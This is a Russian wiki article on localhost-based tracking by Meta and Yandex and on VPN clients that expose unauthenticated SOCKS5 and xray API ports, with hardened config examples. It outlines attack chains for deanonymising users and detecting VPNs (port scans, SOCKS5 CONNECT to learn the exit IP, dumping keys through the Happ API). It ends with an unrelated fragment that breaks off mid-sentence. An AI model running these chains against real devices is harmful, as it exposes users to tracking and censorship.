# Zapret Wiki — полный корпус статей --- # Localhost-атака: как Meta, Яндекс и шпионское ПО эксплуатируют loopback-интерфейс **Дата:** 7 апреля 2026 **Статус:** Верифицировано — исследование USENIX Security 26, POC опубликован **Оригинал исследования:** [localmess.github.io](https://localmess.github.io/) **Научная статья:** [Bridges to Self: Silent Web-to-App Tracking on Mobile via Localhost](https://localmess.github.io/assets/bridges-to-self-localmess-usenix-security-26.pdf) (USENIX Security 26) **POC (Meta/Яндекс):** [github.com/localmess/localhost-abuse](https://github.com/localmess/localhost-abuse) **POC (VLESS обход split tunneling):** [github.com/runetfreedom/per-app-split-bypass-poc](https://github.com/runetfreedom/per-app-split-bypass-poc) --- ## Оглавление 1. [Корневая проблема: архитектура loopback в ОС](#1-корневая-проблема-архитектура-loopback-в-ос) 2. [Яндекс: localhost-трекинг с 2017 года](#2-яндекс-localhost-трекинг-с-2017-года) 3. [Meta (Facebook): WebRTC STUN SDP Munging](#3-meta-facebook-webrtc-stun-sdp-munging) 4. [Побочный эффект: утечка истории браузера](#4-побочный-эффект-утечка-истории-браузера) 5. [VLESS/xray/sing-box: та же дыра, другой вектор](#5-vlessxraysing-box-та-же-дыра-другой-вектор) 6. [Happ: бэкдор через xray API HandlerService](#6-happ-бэкдор-через-xray-api-handlerservice) 7. [Протокол SOCKS5: как работает аутентификация (RFC 1928/1929)](#7-протокол-socks5-как-работает-аутентификация-rfc-19281929) 8. [xray-core: настройка аутентификации SOCKS5 inbound](#8-xray-core-настройка-аутентификации-socks5-inbound) 9. [sing-box: настройка аутентификации SOCKS/mixed inbound](#9-sing-box-настройка-аутентификации-socksmixed-inbound) 10. [Сводная таблица атак и защит](#10-сводная-таблица-атак-и-защит) 11. [Как защитить VPN-клиенты](#11-как-защитить-vpn-клиенты) 12. [Статус браузеров и патчей](#12-статус-браузеров-и-патчей) 13. [Хронология событий](#13-хронология-событий) 14. [Источники](#14-источники) --- ## 1. Корневая проблема: архитектура loopback в ОС Все описанные атаки — трекинг Meta, трекинг Яндекса, и уязвимость VLESS-клиентов — эксплуатируют **одну и ту же фундаментальную архитектурную слабость**: неконтролируемый доступ к loopback-интерфейсу (`127.0.0.1`). ### Как устроен loopback ``` ┌─────────────────────────────────────────────────────┐ │ Android / Windows │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ App A │ │ App B │ │ Browser │ │ │ │ (Яндекс) │ │ (Шпион) │ │ (Chrome) │ │ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌──────────────────────────────────────────┐ │ │ │ 127.0.0.1 (loopback) │ │ │ │ Общий для ВСЕХ процессов устройства │ │ │ │ НЕ маршрутизируется через VPN/TUN │ │ │ │ НЕ изолирован между профилями │ │ │ │ НЕ требует специальных разрешений │ │ │ └──────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────┘ ``` ### Что ОС разрешает на loopback | Действие | Android | Windows | iOS | |----------|---------|---------|-----| | Слушать порт на localhost | ✅ Любое приложение с `INTERNET` | ✅ Любой процесс | ✅ Ограничено фоновым режимом | | Подключиться к чужому порту на localhost | ✅ Без ограничений | ✅ Без ограничений | ✅ Технически возможно | | Сканировать все порты localhost | ✅ За секунды | ✅ За секунды | ⚠️ Ограничено фоном | | Изоляция между профилями (Knox/Shelter) | ❌ Loopback общий | N/A | N/A | | Изоляция VPN/TUN от loopback | ❌ Loopback вне VPN | ❌ Loopback вне TUN | ❌ | | JavaScript из браузера → localhost | ✅ Без согласия | ✅ Без согласия | ✅ | ### Почему loopback не изолирован Это **by design**, а не баг ОС. Приложениям легитимно нужен localhost для: - Межпроцессного взаимодействия (IPC) - Локальных серверов разработки - Коммуникации между компонентами одного приложения Проблема в том, что **никто не предусмотрел**, что это станет вектором атаки для трекинга и обнаружения VPN. --- ## 2. Яндекс: localhost-трекинг с 2017 года ### Архитектура атаки ``` ┌─────────────────────┐ ┌──────────────────────────┐ │ Мобильный браузер │ │ Нативное приложение │ │ (Chrome/Firefox) │ │ Яндекса (Карты/Браузер) │ │ │ │ │ │ ┌────────────────┐ │ │ ┌─────────────────────┐ │ │ │ Яндекс.Метрика │ │ │ │ SDK Яндекс.Метрики │ │ │ │ JavaScript │──┼─────┼─▶│ Слушает TCP порты: │ │ │ │ │ │ HTTP│ │ 29009, 30102 (HTTP) │ │ │ │ │ │ на │ │ 29010, 30103 (HTTPS) │ │ │ │ │◀─┼─────┼──│ │ │ │ └───────┬────────┘ │200OK│ │ Отвечает: AAID + │ │ │ │ │+IDs │ │ зашифрованные ID │ │ │ ▼ │ │ └─────────────────────┘ │ │ Отправляет ID на │ │ │ │ mc.yango.com │ │ │ └─────────────────────┘ └──────────────────────────┘ ``` ### Пошаговый процесс **Шаг 1.** Пользователь открывает приложение Яндекса (Карты, Навигатор, Браузер, Поиск, Go). Приложение уходит в фон и запускает фоновый сервис, слушающий порты. **Шаг 2.** Приложение обращается к `startup.mobile.yandex.net` для получения конфигурации: ```json { "ports": [30102, 29009], "first_delay_seconds": 259200 } ``` Параметр `first_delay_seconds` задаёт задержку перед началом прослушивания (~3 дня после установки). Вероятно, для маскировки — не начинать слушать сразу после установки. **Шаг 3.** Пользователь открывает браузер, заходит на сайт с Яндекс.Метрикой (~3 млн сайтов по BuiltWith, ~575K по HTTP Archive). **Шаг 4.** JavaScript Яндекс.Метрики запрашивает зашифрованные параметры с серверов Яндекса. **Шаг 5.** Скрипт отправляет HTTP/HTTPS-запросы на localhost: - `http://127.0.0.1:29009/...` - `https://yandexmetrica.com:30103/...` ← домен резолвится в `127.0.0.1` > **Ключевой трюк:** домен `yandexmetrica.com` сконфигурирован резолвиться в `127.0.0.1`. Это позволяет использовать HTTPS (порты 29010, 30103) — запросы выглядят как обычные HTTPS к «настоящему» домену, но идут на localhost. Обнаружить это стандартными средствами **практически невозможно**. **Шаг 6.** SDK Яндекс.Метрики в нативном приложении получает запрос и отвечает HTTP 200 OK с телом, содержащим Base64-закодированные бинарные данные: - Android Advertising ID (AAID) - Google Advertising ID - UUID, специфичные для Яндекса **Шаг 7.** JavaScript получает эти идентификаторы и отправляет их на `mc.yango.com` вместе с зашифрованными параметрами и информацией о посещённой странице. **Результат:** Яндекс связывает **эфемерную веб-сессию** (кука, IP, User-Agent) с **постоянным идентификатором устройства** (AAID). Пользователь деанонимизирован на всех сайтах с Яндекс.Метрикой. ### Проверенные приложения Яндекса | Приложение | Package name | Тестовая версия | Порты | |------------|-------------|-----------------|-------| | Яндекс.Карты | `ru.yandex.yandexmaps` | 23.5.0 | 29009, 30102 | | Яндекс.Навигатор | `ru.yandex.yandexnavi` | 23.5.0 | 29009, 30102 | | Яндекс.Браузер | `com.yandex.browser` | 25.4.1.100 | 29009, 30102 | | Яндекс.Поиск | `com.yandex.searchapp` | 25.41 | 29009, 30102 | | Метро в Европе | `ru.yandex.metro` | 3.7.3 | 29009, 30102 | | Яндекс Go: Такси | `ru.yandex.taxi` | 5.24.1 | 29009, 30102 | ### Что обходит этот метод Метод работает **даже если пользователь:** - ❌ Не залогинен в Яндексе в браузере - ❌ Использует режим инкогнито - ❌ Очистил куки и данные браузера - ❌ Сбросил рекламный идентификатор Android --- ## 3. Meta (Facebook): WebRTC STUN SDP Munging ### Архитектура атаки ``` ┌─────────────────────┐ ┌──────────────────────────┐ │ Мобильный браузер │ │ Facebook / Instagram │ │ (Chrome/Edge) │ │ (нативное приложение) │ │ │ │ │ │ ┌────────────────┐ │ │ ┌─────────────────────┐ │ │ │ Meta Pixel JS │ │ │ │ Фоновый сервис │ │ │ │ │──┼─────┼─▶│ TCP: 12387, 12388 │ │ │ │ SDP Munging: │ │WebRTC│ │ UDP: 12580-12585 │ │ │ │ ice-ufrag = │ │STUN │ │ (STUN) │ │ │ │ _fbp cookie │ │ │ │ UDP: 12586-12591 │ │ │ │ │ │ │ │ (TURN) │ │ │ └───────┬────────┘ │ │ └─────────────────────┘ │ │ │ │ │ │ │ │ ▼ │ │ ▼ │ │ Отправляет _fbp на │ │ GraphQL → graph. │ │ facebook.com/tr │ │ facebook.com/graphql │ │ + URL, событие, │ │ + _fbp + Device ID │ │ метаданные │ │ + Facebook Account ID │ └─────────────────────┘ └──────────────────────────┘ ``` ### Техника SDP Munging **SDP Munging** — это манипуляция полями SDP (Session Description Protocol) в WebRTC-соединении для передачи произвольных данных. Meta Pixel вставляет значение куки `_fbp` в поле `ice-ufrag` SDP-предложения. При WebRTC handshake генерируется STUN Binding Request, который отправляется на localhost UDP-порты 12580-12585. Нативное приложение Facebook/Instagram слушает эти порты и извлекает `_fbp` из STUN-пакета. **Почему это невидимо:** - WebRTC STUN-трафик **не отображается** в Chrome DevTools - Нет HTTP-запросов, которые можно было бы перехватить в инспекторе - Сетевая активность происходит на уровне UDP, ниже HTTP-слоя ### Эволюция техник Meta | Метод | Начало | Конец | Порты | Обнаружимость | |-------|--------|-------|-------|---------------| | HTTP | Сентябрь 2024 | Октябрь 2024 | TCP 12387 | Средняя (видно в DevTools) | | WebSocket | Ноябрь 2024 | Январь 2025 | TCP 12387 | Средняя | | WebRTC STUN + SDP Munging | Ноябрь 2024 | Июнь 2025 | UDP 12580-12585 | **Очень низкая** | | WebRTC TURN (без SDP Munging) | Май 2025 | Июнь 2025 | UDP 12586-12591 | Низкая | > Meta 4 раза сменила технику за 9 месяцев, каждый раз усложняя обнаружение. ### О куке `_fbp` - Third most popular first-party cookie в интернете (Web Almanac 2024) - Присутствует на **~25% из топ-1М сайтов** - Срок жизни: 90 дней - First-party cookie = разная на каждом сайте → **нельзя** использовать для кросс-сайтового трекинга - **НО:** через localhost-атаку Meta связывает разные `_fbp` с одним устройством → кросс-сайтовый трекинг становится возможен ### Масштаб | Регион | Сайтов с Meta Pixel (из 100K) | Без согласия пользователя | |--------|-------------------------------|---------------------------| | США | 17,223 | 13,468 (78.2%) | | Европа | 15,677 | 11,890 (75.8%) | | Регион | Сайтов с Яндекс.Метрикой (из 100K) | Без согласия пользователя | |--------|-------------------------------------|---------------------------| | США | 1,312 | 1,095 (83.5%) | | Европа | 1,260 | 1,064 (84.4%) | ### Пошаговый процесс Meta 1. Пользователь открывает Facebook/Instagram → приложение уходит в фон → слушает TCP 12387/12388 и UDP 12580-12585 2. Пользователь открывает браузер → заходит на сайт с Meta Pixel (~5.8 млн сайтов) 3. Meta Pixel JS читает куку `_fbp` 4. JS создаёт WebRTC peer connection с SDP Munging: `ice-ufrag = <_fbp value>` 5. STUN Binding Request с `_fbp` в поле ice-ufrag летит на `127.0.0.1:12580-12585` 6. Facebook/Instagram получают `_fbp` 7. Приложение отправляет GraphQL на `graph.facebook.com/graphql`: `_fbp` + Device ID + Facebook Account ID 8. Meta связывает: веб-сессия ↔ устройство ↔ аккаунт Facebook --- ## 4. Побочный эффект: утечка истории браузера Поскольку Яндекс использует **обычные HTTP-запросы** (не WebRTC), любое стороннее приложение, слушающее те же порты, может перехватить эти запросы и прочитать заголовок `Origin`, который содержит **URL посещённого сайта**. ### Кто уязвим | Браузер | Яндекс (утечка истории) | Meta (утечка истории) | Защита | |---------|------------------------|----------------------|--------| | Chrome | ✅ Уязвим | ✅ Уязвим | Chrome 137+ — блокировка портов и SDP Munging | | Firefox | ✅ Уязвим | ❌ Не затронут | В разработке | | Edge | ✅ Уязвим | ✅ Уязвим | Неизвестно | | Brave | ❌ Защищён | ❌ Защищён | С 2022: blocklist + запрос согласия на localhost | | DuckDuckGo | ⚠️ Минимально | ❌ Защищён | Blocklist (3 домена Яндекса отсутствовали — исправлено) | **Работает в режиме инкогнито: ДА.** Инкогнито не влияет на доступ к localhost. ### POC-демонстрация Исследователи создали POC-приложение ([github.com/localmess/localhost-abuse](https://github.com/localmess/localhost-abuse)), которое: 1. Слушает порты 29009, 30102 (как приложения Яндекса) 2. Перехватывает HTTP-запросы от Яндекс.Метрики 3. Извлекает `Origin` заголовок 4. Отображает список посещённых сайтов в реальном времени --- ## 5. VLESS/xray/sing-box: та же дыра, другой вектор ### Связь с Meta/Яндекс Meta и Яндекс доказали: **localhost на Android не изолирован, и это можно массово эксплуатировать.** [[VLESS-SOCKS5-vulnerability|Уязвимость VLESS-клиентов]] — **тот же фундаментальный баг**, но другой вектор атаки. | Аспект | Meta/Яндекс | VLESS-клиенты | |--------|------------|---------------| | **Что на localhost** | Трекинг-сервис приложения | SOCKS5-прокси без аутентификации | | **Кто атакует** | JavaScript с веб-страницы | Шпионский модуль в приложении | | **Что получает атакующий** | Device ID (AAID) + связь с аккаунтом | Выходной IP VPN-сервера | | **Цель** | Деанонимизация + таргетированная реклама | Блокировка VPN-серверов | | **Фундаментальная проблема** | Loopback не изолирован | Loopback не изолирован | | **Knox/Shelter помогает?** | Нет | Нет | | **Инкогнито помогает?** | Нет | N/A | ### Как эксплуатируется VLESS ``` ┌──────────────────┐ │ Шпионский модуль │ (Яндекс/WB/Ozon/гос.приложение) │ в приложении │ └────────┬─────────┘ │ 1. Скан портов localhost (секунды) ▼ ┌──────────────────────┐ │ 127.0.0.1:10808 │ SOCKS5 без аутентификации │ (xray-core inbound) │ └────────┬─────────────┘ │ 2. SOCKS5 handshake (method 0x00 = NO AUTH) │ 3. CONNECT ifconfig.me:80 ▼ ┌──────────────────┐ │ xray-core │ → VPN-сервер → ifconfig.me │ outbound │ ← ответ: "185.xxx.xxx.xxx" └──────────────────┘ │ 4. Шпион получает выходной IP ▼ РКН блокирует сервер ``` ### Почему per-app split tunneling не помогает ``` VpnService (TUN) ┌──────────────┐ Обычное приложение ──▶ │ tun2socks │ ──▶ xray SOCKS5 ──▶ VPN-сервер └──────────────┘ ▲ │ Шпион ──▶ 127.0.0.1:10808 ────────────────────────┘ (минуя VpnService) ``` VpnService перехватывает трафик через TUN-интерфейс. Но подключение к `127.0.0.1` **не проходит через TUN** — это внутренний loopback. Split tunneling бессилен. ### Почему Knox/Shelter/Island не помогают Android Private Spaces изолируют файловую систему и VpnService, но **loopback-интерфейс общий** для всех профилей. Процесс из Knox видит `127.0.0.1:10808` основного профиля. ### Контекст: методичка Минцифры РФ Минцифры разослало аккредитованным IT-компаниям методичку по обнаружению VPN. Характерные порты из методички: | Тип | Порты | |-----|-------| | SOCKS | 1080, 9000, 5555, 16000-16100 | | HTTP | 80, 443, 3128, 3127, 8000, 8080, 8081, 8888 | | Прозрачные Proxy | 80, 443, 4080, 7000/7044, 8082, 12345 | | Tor | 9050, 9051, 9150 | Стандартные порты xray (10808) и nekobox (2080) **пока не указаны**, но полный скан 65535 портов на localhost — секунды. ### Список уязвимых VLESS-клиентов | Клиент | Платформа | Ядро | SOCKS5 auth | Статус | |--------|-----------|------|-------------|--------| | **Happ** | iOS | xray | ❌ | 🔴 Особо опасен (API без auth) | | v2RayTun | Android | xray | ❌ | 🟡 Обещали исправить | | V2BOX | iOS/Android | xray | ❌ | 🟡 Уязвим | | v2rayNG | Android | xray | ❌ | 🟡 Уязвим (порт 10808) | | Hiddify | Android/iOS | sing-box | ❌ | 🟡 Уязвим | | Exclave | iOS | xray | ❌ | 🟡 Уязвим | | Npv Tunnel | Android | xray | ❌ | 🟡 Уязвим | | Neko Box | Android | sing-box | ❌ | 🟡 Уязвим (порт 2080) | | Husi | Android | sing-box | ✅ | 🟢 Можно настроить | | SFA (sing-box) | Android | sing-box | ✅ | 🟢 Ручной JSON | | saeeddev94/xray | Android | xray | ✅ | 🟢 F-Droid, ручной JSON | --- ## 6. Happ: бэкдор через xray API HandlerService Клиент Happ — отдельная категория. Помимо уязвимого SOCKS5, он включает **xray gRPC API с HandlerService БЕЗ аутентификации**. ### Сервисы xray API | Сервис | Назначение | Опасность | |--------|-----------|-----------| | **StatsService** | Статистика трафика, онлайн-пользователи | Низкая | | **LoggerService** | Управление логированием | Низкая | | **HandlerService** | Добавление/удаление inbound/outbound, дамп конфигов, управление пользователями | 🔴 **Критическая** | | **RoutingService** | Управление маршрутизацией | Средняя | | **ReflectionService** | Список доступных API | Средняя | ### gRPC методы HandlerService | Метод | Что делает | |-------|-----------| | `AddInbound` | Добавить новый inbound | | `RemoveInbound` | Удалить inbound | | `AlterInbound` | Изменить inbound | | `AddOutbound` | Добавить outbound | | `RemoveOutbound` | Удалить outbound | | `AlterOutbound` | Изменить outbound | | `GetInboundUsers` | Получить пользователей (включая ключи) | ### Цепочка атаки ``` Шпион → скан портов → gRPC API (без auth) → ReflectionService → список методов → HandlerService → дамп outbound конфига → ключ шифрования + IP сервера + SNI → [+ вторая уязвимость конфигурации] → расшифровка трафика ``` **Позиция Happ:** заявили, что API нужен «для статистики». Это ложь — для статистики достаточно `StatsService`. При смене конфига Happ перезапускает xray целиком, а не использует HandlerService. **Рекомендация:** немедленно удалить Happ. Заблокировать `Happ/*` по UserAgent на серверах подписок. Один пользователь с Happ компрометирует весь сервер. --- ## 7. Протокол SOCKS5: как работает аутентификация (RFC 1928/1929) ### Зачем нужна аутентификация SOCKS5 Без аутентификации SOCKS5-прокси — это **открытая дверь**: кто угодно может подключиться и маршрутизировать через него трафик. В контексте VPN это означает, что шпионский модуль может: - Обнаружить прокси сканированием портов - Подключиться без учётных данных - Узнать выходной IP VPN-сервера - Гонять через прокси произвольный трафик Аутентификация добавляет **барьер**: без знания логина/пароля подключение отклоняется. ### Фаза 1: Согласование метода (RFC 1928) ``` Клиент → Сервер: +-----+----------+----------+ | VER | NMETHODS | METHODS | +-----+----------+----------+ | 0x05| 0x01 | 0x02 | ← «Я хочу SOCKS5, предлагаю метод 0x02 (пароль)» +-----+----------+----------+ Сервер → Клиент: +-----+--------+ | VER | METHOD | +-----+--------+ | 0x05| 0x02 | ← «Принято, используем метод 0x02» +-----+--------+ ``` **Методы аутентификации:** - `0x00` — **NO AUTHENTICATION REQUIRED** ← уязвимый вариант - `0x01` — GSSAPI - `0x02` — **USERNAME/PASSWORD** ← безопасный вариант - `0xFF` — нет подходящего метода (отказ) ### Фаза 2: Аутентификация по логину/паролю (RFC 1929) ``` Клиент → Сервер: +-----+------+----------+------+----------+ | VER | ULEN | UNAME | PLEN | PASSWD | +-----+------+----------+------+----------+ | 0x01| 0x08 | "user123"| 0x0C | "pass456abc"| +-----+------+----------+------+----------+ Сервер → Клиент: +-----+--------+ | VER | STATUS | +-----+--------+ | 0x01| 0x00 | ← 0x00 = успех, любое другое = отказ +-----+--------+ ``` **Поля:** - `VER` = `0x01` (версия подпротокола аутентификации) - `ULEN` = длина логина (1-255 байт) - `UNAME` = логин - `PLEN` = длина пароля (1-255 байт) - `PASSWD` = пароль > ⚠️ **Важно:** логин и пароль передаются **открытым текстом**. RFC 1929: *«Since the request carries the password in cleartext, this subnegotiation is not recommended for environments where 'sniffing' is possible and practical.»* Но для localhost это не проблема — трафик не выходит за пределы устройства. ### Фаза 3: Запрос (после успешной аутентификации) ``` Клиент → Сервер: +-----+-----+------+------+----------+----------+ | VER | CMD | RSV | ATYP | DST.ADDR | DST.PORT | +-----+-----+------+------+----------+----------+ | 0x05| 0x01| 0x00 | 0x01 | IP addr | port | +-----+-----+------+------+----------+----------+ ``` **CMD:** - `0x01` — CONNECT (TCP) - `0x02` — BIND - `0x03` — UDP ASSOCIATE ### Проблема UDP ASSOCIATE UDP ASSOCIATE (`CMD = 0x03`) создаёт UDP-ретранслятор. **Но:** после успешной TCP-аутентификации UDP-датаграммы **не проходят повторную аутентификацию**. ``` UDP-датаграмма (RFC 1928, Section 7): +-----+------+------+----------+----------+----------+ | RSV | FRAG | ATYP | DST.ADDR | DST.PORT | DATA | +-----+------+------+----------+----------+----------+ | 2 | 1 | 1 | Variable | 2 | Variable | +-----+------+------+----------+----------+----------+ ``` В заголовке UDP-датаграммы **нет поля для аутентификации**. RFC 1928 допускает опциональное шифрование/целостность, но большинство реализаций (включая xray и sing-box) **не реализуют** per-packet auth для UDP. **Вывод:** для полной защиты от localhost-атак **UDP нужно отключать** или блокировать фаерволом. --- ## 8. xray-core: настройка аутентификации SOCKS5 inbound ### Уязвимая конфигурация (как есть сейчас) ```json { "inbounds": [ { "tag": "socks-in", "listen": "127.0.0.1", "port": 10808, "protocol": "socks", "settings": { "auth": "noauth", "udp": true } } ] } ``` **Проблемы:** - `"auth": "noauth"` — любой процесс на устройстве может подключиться - `"udp": true` — UDP тоже доступен без ограничений - Порт 10808 — стандартный, легко угадывается ### Безопасная конфигурация ```json { "inbounds": [ { "tag": "socks-in", "listen": "127.0.0.1", "port": 10808, "protocol": "socks", "settings": { "auth": "password", "accounts": [ { "user": "xf_a8b3c2d1", "pass": "7e4f91d0c3b8a2e5" } ], "udp": false } } ] } ``` **Что изменилось:** - `"auth": "password"` — требуется аутентификация - `"accounts"` — массив учётных записей `{user, pass}` - `"udp": false` — UDP отключён (убирает вектор атаки через UDP ASSOCIATE) ### Поля конфигурации xray SOCKS inbound | Поле | Тип | По умолчанию | Описание | |------|-----|-------------|----------| | `auth` | `"noauth"` / `"password"` | `"noauth"` | Режим аутентификации | | `accounts` | `[{user, pass}]` | — | Учётные записи (только при `auth: "password"`) | | `udp` | `boolean` | `false` | Включение UDP ASSOCIATE | | `ip` | `string` | auto | IP для UDP-ответов | | `userLevel` | `number` | `0` | Уровень политик | ### Рекомендации для xray-клиентов 1. **Генерировать credentials при каждом запуске** — рандомные user/pass, не хардкодить 2. **Отключить UDP** (`"udp": false`) — UDP не аутентифицируется per-packet 3. **Слушать только на 127.0.0.1** — никогда на `0.0.0.0` 4. **Рандомизировать порт** — не использовать стандартный 10808 5. **Не включать HandlerService** в API — достаточно StatsService/LogService --- ## 9. sing-box: настройка аутентификации SOCKS/mixed inbound ### Уязвимая конфигурация ```json { "inbounds": [ { "type": "mixed", "tag": "mixed-in", "listen": "0.0.0.0", "listen_port": 2080 } ] } ``` **Проблемы:** - Нет массива `users` — аутентификации нет - `"listen": "0.0.0.0"` — доступен из сети (ещё хуже чем localhost) - Порт 2080 — стандартный для nekobox ### Безопасная конфигурация ```json { "inbounds": [ { "type": "mixed", "tag": "mixed-in", "listen": "127.0.0.1", "listen_port": 2080, "users": [ { "username": "sb_d4c1a7f2", "password": "9e2f5b83a1c7d0e4" } ] } ] } ``` ### Поля конфигурации sing-box SOCKS/mixed inbound | Поле | Тип | Описание | |------|-----|----------| | `type` | `"socks"` / `"mixed"` | `mixed` поддерживает SOCKS4/4a/5 + HTTP | | `listen` | `string` | Адрес прослушивания | | `listen_port` | `number` | Порт | | `users` | `[{username, password}]` | Учётные записи (без этого поля — без auth) | | `set_system_proxy` | `boolean` | Автоматическая системная прокси-настройка | ### Разница SOCKS vs Mixed | Возможность | `type: "socks"` | `type: "mixed"` | |-------------|-----------------|-----------------| | SOCKS4/4a | ✅ | ✅ | | SOCKS5 | ✅ | ✅ | | HTTP-прокси | ❌ | ✅ | | `users` (аутентификация) | ✅ | ✅ (для SOCKS и HTTP) | | `set_system_proxy` | ❌ | ✅ | ### Позиция разработчика sing-box Разработчик sing-box считает эту проблему **«skill issue»** клиентов: sing-box **не создаёт** mixed inbound автоматически — это делают конкретные клиенты и генераторы конфигов. Если не добавлять mixed inbound в конфиг, прокси не будет. --- ## 10. Сводная таблица атак и защит | Механизм | Против Meta/Яндекс | Против VLESS-скана | Против Happ API | |----------|--------------------|--------------------|-----------------| | SOCKS5 auth (password) | N/A | ✅ Блокирует подключение | N/A | | Отключение UDP | N/A | ✅ Убирает вектор | N/A | | Рандомный порт | N/A | ⚠️ Замедляет, не блокирует | N/A | | iptables/root | ✅ Можно заблокировать | ✅ Можно заблокировать | ✅ | | Knox/Shelter/Island | ❌ Не помогает | ❌ Не помогает | ❌ | | Режим инкогнито | ❌ Не помогает | N/A | N/A | | Очистка куки | ❌ Не помогает | N/A | N/A | | Brave Browser | ✅ Blocklist + consent | N/A | N/A | | Chrome 137+ | ✅ Блокировка портов | N/A | N/A | | Отключение HandlerService | N/A | N/A | ✅ Убирает API | | Блокировка Happ по UserAgent | N/A | N/A | ✅ На сервере | | Отдельное устройство | ✅ Физическая изоляция | ✅ | ✅ | | Windows Firewall (process) | ✅ | ✅ | ✅ | --- ## 11. Как защитить VPN-клиенты ### Для разработчиков клиентов 1. **SOCKS5 auth по умолчанию** — генерировать рандомные credentials при каждом запуске, передавать их только доверенным приложениям 2. **Отключить UDP** в SOCKS5 inbound — UDP ASSOCIATE не поддерживает per-packet auth 3. **Рандомизировать порт** — не стандартные 10808/2080/1080 4. **Только 127.0.0.1** — никогда 0.0.0.0 5. **Не включать xray API HandlerService** — для статистики хватит StatsService/LogService 6. **На Android с root:** добавить iptables-правила, ограничивающие доступ к порту по UID процесса ### Для пользователей Android 1. Использовать клиенты с SOCKS5 auth: **Husi**, **SFA**, **saeeddev94/xray** 2. **Удалить Happ** немедленно 3. Держать российское ПО на **отдельном устройстве** 4. Не полагаться на Knox/Shelter — loopback не изолирован 5. С root: `iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10808 -j DROP` для всех кроме VPN-клиента ### Для пользователей Windows 1. Windows Firewall: правила на блокировку доступа к портам 10808/10809 для всех процессов кроме xray.exe и доверенных 2. В xray routing: `process name` для разрешённых приложений 3. Рандомный порт вместо стандартного 10808 ### Для администраторов серверов 1. **Раздельные входной/выходной IP** — утечка выходного не компрометирует входной 2. **CloudFlare WARP на выходе** — маскировка выходного IP 3. **geoip:ru → block на сервере** — шпион не сможет связать трафик 4. **Блокировка Happ** по UserAgent `Happ/*` ### Маршрутизация **На клиенте:** ``` geoip:ru → direct (российские IP напрямую) geoip:private → direct (локальные сети) остальное → proxy (через VPN) ``` **На сервере:** ``` geoip:ru → block (запретить выход на РФ) остальное → freedom (разрешить) ``` --- ## 12. Статус браузеров и патчей ### Meta Pixel | Дата | Событие | |------|---------| | Сентябрь 2024 | Начало HTTP-коммуникации с localhost | | Ноябрь 2024 | Переход на WebSocket, затем WebRTC STUN | | Май 2025 | Добавлен WebRTC TURN (обход блокировки SDP Munging) | | 26 мая 2025 | Chrome 137 — блокировка SDP Munging и абьюзимых портов | | **3 июня 2025** | **Meta полностью прекратила localhost-трекинг, код удалён** | ### Яндекс.Метрика | Дата | Событие | |------|---------| | Февраль 2017 | Начало HTTP-коммуникации с localhost | | Май 2018 | Добавлен HTTPS (порты 29010, 30103) | | Июнь 2025 | Яндекс сообщил о прекращении использования и удалении функции | ### Браузеры | Браузер | Статус | Детали | |---------|--------|--------| | Chrome 137+ | ✅ Исправлено | Блокировка портов + SDP Munging | | Brave 1.54+ | ✅ Защищён с 2022 | Blocklist + localhost consent | | DuckDuckGo | ✅ Исправлено | Обновлён blocklist | | Firefox 139 | 🟡 В разработке | Патч в процессе | | Edge | ❌ Неизвестно | Chromium-based, должен следовать за Chrome | ### VLESS-клиенты На **7 апреля 2026** ни один массовый VLESS-клиент не добавил SOCKS5 аутентификацию, несмотря на уведомление 10 марта 2026. --- ## 13. Хронология событий | Дата | Событие | |------|---------| | Февраль 2017 | Яндекс начинает localhost-трекинг через HTTP | | Май 2018 | Яндекс добавляет HTTPS-канал (yandexmetrica.com → 127.0.0.1) | | 2022 | Brave добавляет защиту localhost (consent + blocklist) | | Сентябрь 2024 | Meta начинает localhost-трекинг через HTTP | | Ноябрь 2024 | Meta переходит на WebRTC STUN SDP Munging | | 10 марта 2026 | runetfreedom уведомляет разработчиков VLESS-клиентов об уязвимости SOCKS5 | | Апрель 2026 | Минцифры рассылает методичку по обнаружению VPN | | 7 апреля 2026 | Публикация уязвимости VLESS-клиентов, ни один клиент не исправлен | | 26 мая 2025 | Chrome 137 блокирует SDP Munging и абьюзимые порты | | 3 июня 2025 | Meta полностью удаляет код localhost-трекинга | | Июнь 2025 | Публикация исследования USENIX Security 26 (localmess.github.io) | --- ## 14. Источники ### Исследование Meta/Яндекс (LocalMess) - [localmess.github.io — оригинал](https://localmess.github.io/) - [Bridges to Self — PDF статья USENIX Security 26](https://localmess.github.io/assets/bridges-to-self-localmess-usenix-security-26.pdf) - [POC: localhost-abuse](https://github.com/localmess/localhost-abuse) - [The Register: Meta halts localhost tracking](https://www.theregister.com/2025/06/03/meta_pauses_android_tracking_tech/) - [AdGuard: Meta and Yandex abuse localhost](https://adguard.com/en/blog/meta-yandex-abuse-localhost-to-track-users.html) - [Android Police: researchers catch Meta](https://www.androidpolice.com/meta-yandex-apps-de-anonymize-localhost-tracking/) - [Habr: перевод статьи](https://habr.com/ru/articles/920714/) ### Уязвимость VLESS - [ntc.party: оригинальная публикация runetfreedom](https://ntc.party/) - [Habr: Критическая уязвимость VLESS клиентов](https://habr.com/ru/articles/1020080/) - [POC: per-app-split-bypass](https://github.com/runetfreedom/per-app-split-bypass-poc) - [XTLS BBS: Malicious Activity of Closed-Source Xray Clients](https://github.com/XTLS/BBS/issues/8) ### Документация протоколов - [RFC 1928 — SOCKS Protocol Version 5](https://www.rfc-editor.org/rfc/rfc1928) - [RFC 1929 — Username/Password Auth for SOCKS V5](https://www.rfc-editor.org/rfc/rfc1929) - [xray-core SOCKS inbound](https://xtls.github.io/en/config/inbounds/socks.html) - [xray-core API](https://xtls.github.io/en/config/api.html) - [sing-box SOCKS inbound](https://sing-box.sagernet.org/configuration/inbound/socks/) - [sing-box Mixed inbound](https://sing-box.sagernet.org/configuration/inbound/mixed/) ### Защита браузеров - [Brave: localhost permission](https://brave.com/privacy-updates/27-localhost-permission/) - [Chrome 137 release](https://chromereleases.googleblog.com/2025/05/) - [Meduza: методичка Минцифры](https://meduza.io/news/2026/04/06/mintsifry-razoslalo-rossiyskim-kompaniyam-metodichku-po-poisku-vpn-na-ustroystvah-polzovateley) --- На обычном телефоне Android Google [соберет](https://www.reddit.com/r/CalyxOS/comments/l4jysu/what_data_is_google_services_collecting_without_a/) 1) все установленные приложения. 2) данные о местоположении (если включено) 3) использование приложения 4) все, что решит помощник Google, достаточно 